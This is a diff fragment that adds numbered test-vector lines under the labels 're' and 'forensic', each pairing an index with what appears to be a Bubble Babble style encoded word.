+re:67:xerit-luvos-birax
+re:68:xuvab-hamyz-carex
+re:69:xufal-fibil-hubax
+re:70:xunar-tusem-hepax
+re:71:xofiz-kysus-lovex
+re:72:xezes-dofyt-notix
+re:73:xilon-zuziv-facex
+re:74:xisac-zybyg-bizux
+re:75:xevah-lymip-myrax
+re:76:xicib-vacev-cemux
+re:77:xicas-holez-fubox
+re:78:xupez-talol-finax
+re:79:xikil-gosid-zunux
+re:80:xireb-hezuh-cuzux
+re:81:xigos-dozal-sagex
+re:82:xosez-coruf-nycyx
+re:83:xihag-nesyp-zonax
+re:84:xuzef-kohez-hupax
+re:85:xekal-difyl-zodex
+re:86:xikah-cacom-tutix
+re:87:xumiz-zedel-melex
+re:88:xenih-vacam-lisux
+re:89:xeciz-tadyf-mesux
+re:90:xomet-sodov-gazix
+re:91:xodob-pygyt-vimox
+re:92:xigim-pofym-hunax
+re:93:xicec-nofep-mavex
+re:94:xepec-hecys-fizyx
+re:95:xitig-dudes-tehux
+re:96:xocic-fugys-mikyx
+re:97:xutim-munef-sevox
+re:98:xenod-nomyf-ruvax
+re:99:xepov-lotap-fozyx
+re:100:xoras-mynaf-sosix
+forensic:1:xicoz-gykyl-mazax
+forensic:2:xuzod-nigec-lynyx
+forensic:3:xiseb-mefyf-regyx
+forensic:4:xusit-ruzur-nunyx
+forensic:5:xolor-suveh-fygyx
+forensic:6:xilil-nerub-tatex
+forensic:7:xihom-nibaz-ronyx
+forensic:8:xuzoh-gyfed-pehix
+forensic:9:xuson-hutyr-zemyx
+forensic:10:xucac-hemav-zizux
+forensic:11:xifig-forur-kecix
+forensic:12:xonoh-cobig-tyfax
+forensic:13:xedof-pivad-notex
+forensic:14:xolaf-kahek-vitox
+forensic:15:xebak-livec-gugox
+forensic:16:xidic-kahap-corox
+forensic:17:xufaz-cakoh-bosyx
+forensic:18:xetad-befon-sitax
+forensic:19:xigit-zynid-busix
+forensic:20:xopom-tafis-dubix
+forensic:21:xelid-hosiv-nuhux
+forensic:22:xulez-kyceh-sukex
+forensic:23:xufak-hygur-vodex
+forensic:24:xurok-sahon-mykix
+forensic:25:xohin-cohic-hanyx
+forensic:26:xunac-ditil-rykux
+forensic:27:ximoh-sycik-fytux
+forensic:28:xival-zovos-cazox
+forensic:29:xogiz-sebyn-lifix
+forensic:30:xicog-hivan-nabix
+forensic:31:xuven-kyvam-hupyx
+forensic:32:xedez-hekat-lemyx
+forensic:33:xupam-zufim-hynix
+forensic:34:xozib-mazed-cufax
+forensic:35:xotob-vymem-befax
+forensic:36:xokiv-labym-hozax
+forensic:37:xipag-guvof-tonux
+forensic:38:xurom-hyhim-vonux
+forensic:39:xihop-pykek-camox
+forensic:40:xebiv-zinut-hirox
+forensic:41:xomig-sycyc-dysex
+forensic:42:xifol-rudec-dygux
+forensic:43:xohen-nukuc-silyx
+forensic:44:xover-pydur-lyzax
+forensic:45:xuhis-caloh-momex
+forensic:46:xinez-kydan-mosix
+forensic:47:xupat-vynyh-kemyx
+forensic:48:xipir-nylik-bydox
+forensic:49:xupov-facec-zymyx
+forensic:50:xovid-dugiv-helux
+forensic:51:xezim-pegez-tirox
+forensic:52:xugac-kuzin-bibex
+forensic:53:xebib-pevah-nigex
+forensic:54:xihel-capuz-focex
+forensic:55:xepib-gycyf-dylyx
+forensic:56:xemif-dimaf-rukax
+forensic:57:xukeb-likur-zozex
+forensic:58:xosod-tigiz-tudux
+forensic:59:xugop-mebem-synax
+forensic:60:xozov-zopik-behox
+forensic:61:xekof-sutat-lasix
+forensic:62:xucaz-pekom-nimyx
+forensic:63:xegim-moruv-synox
+forensic:64:xesek-mihuv-tezux
+forensic:65:xegon-kebad-kelyx
+forensic:66:xedev-vivag-ladax
+forensic:67:xilat-zumus-dutux
+forensic:68:xefof-dasib-vacex
+forensic:69:xukak-nifin-mypix
+forensic:70:xudag-zizen-fityx
+forensic:71:xoziz-ferim-selux
+forensic:72:ximed-humok-serex
+forensic:73:xetir-pycel-locyx
+forensic:74:xinel-vecis-tipux
+forensic:75:xusel-zovam-kutyx
+forensic:76:xodac-cucal-hudex
+forensic:77:xipoc-nanuz-pakyx
+forensic:78:xomab-navah-kirox
+forensic:79:xusog-gadem-tacex
+forensic:80:xerel-cesov-ferox
+forensic:81:xupis-sedur-zevix
+forensic:82:xehed-fulog-fibix
+forensic:83:xufez-celaf-ruhex
+forensic:84:xepez-feryf-kovox
+forensic:85:xugic-gepuc-dufox
+forensic:86:xogeh-kuryl-comox
+forensic:87:xitek-rikih-kopix
+forensic:88:xefis-gepol-fafex
+forensic:89:xodar-dirub-sabox
+forensic:90:xolom-rubyf-darox
+forensic:91:xuteg-pecys-dakux
+forensic:92:xukig-basuk-duvyx
+forensic:93:xivat-fohom-virox
+forensic:94:xizog-decuc-fanox
+forensic:95:xusoz-pikos-cyzyx
+forensic:96:xiboc-kapys-tazox
+forensic:97:xubor-kares-gikux
+forensic:98:xovar-kalyl-kufex
+forensic:99:xusap-fipon-nafax
+forensic:100:xusot-hydob-leryx